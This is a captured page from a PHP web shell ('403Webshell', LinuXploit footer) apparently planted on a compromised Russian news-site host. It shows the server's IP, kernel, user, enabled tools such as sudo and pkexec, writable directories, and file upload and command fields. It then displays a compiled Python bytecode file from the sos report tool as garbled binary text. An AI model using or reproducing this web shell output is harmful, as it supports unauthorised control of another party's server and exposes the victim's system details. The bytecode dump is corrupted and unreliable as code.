403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/containers_common.cpython-39.pyc
a

ܓ�i�
�@s8ddlZddlmZmZmZmZGdd�deee�ZdS)�N)�Plugin�RedHatPlugin�UbuntuPlugin�	PluginOptc@s6eZdZdZdZdZdZeddedd�gZ	d	d
�Z
dS)�ContainersCommonz;Common container configs under {/etc,/usr/share}/containersZcontainers_common)�	container)zcontainers-common�
rootlessusers�z,colon-delimited list of users to collect for)�defaultZval_typeZdesccs�|�gd��|�ddi�|�d�}g}|rBdd�|�d�D�}gd�}|D]R�tj�d	����}|�|�d
��|�d����|j�fdd�|D�d
d�qNdS)N)z/etc/containers/*z/usr/share/containers/*z/etc/subuidz/etc/subgidz/etc/containers/policy.jsonZcontainers_policyrcSsg|]}|r|�qS�r)�.0�xrr�H/usr/lib/python3.9/site-packages/sos/report/plugins/containers_common.py�
<listcomp>)�z*ContainersCommon.setup.<locals>.<listcomp>�:)zpodman infoz%podman unshare cat /proc/self/uid_mapz%podman unshare cat /proc/self/gid_mapz
podman imageszpodman images --digestsz
podman pod pszpodman port --allz	podman pszpodman ps -azpodman stats --no-stream --allzpodman versionzpodman volume lszbuildah infoz&buildah unshare cat /proc/self/uid_mapz&buildah unshare cat /proc/self/gid_mapzbuildah containerszbuildah containers --allzbuildah imageszbuildah images --allzbuildah version�~z/.config/containers/zloginctl user-status csg|]}d��d|���qS)zmachinectl -q shell z@ /usr/bin/r)r�cmd��userrrrIs�T)Z
foreground)Z
add_copy_specZ
add_file_tagsZ
get_option�split�os�path�
expanduserZadd_cmd_output)�selfZ	users_optZ
users_listZuser_subcmdsZ
expanded_userrrr�setups(�
���zContainersCommon.setupN)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesr�strZoption_listrrrrrrs��r)rZsos.report.pluginsrrrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit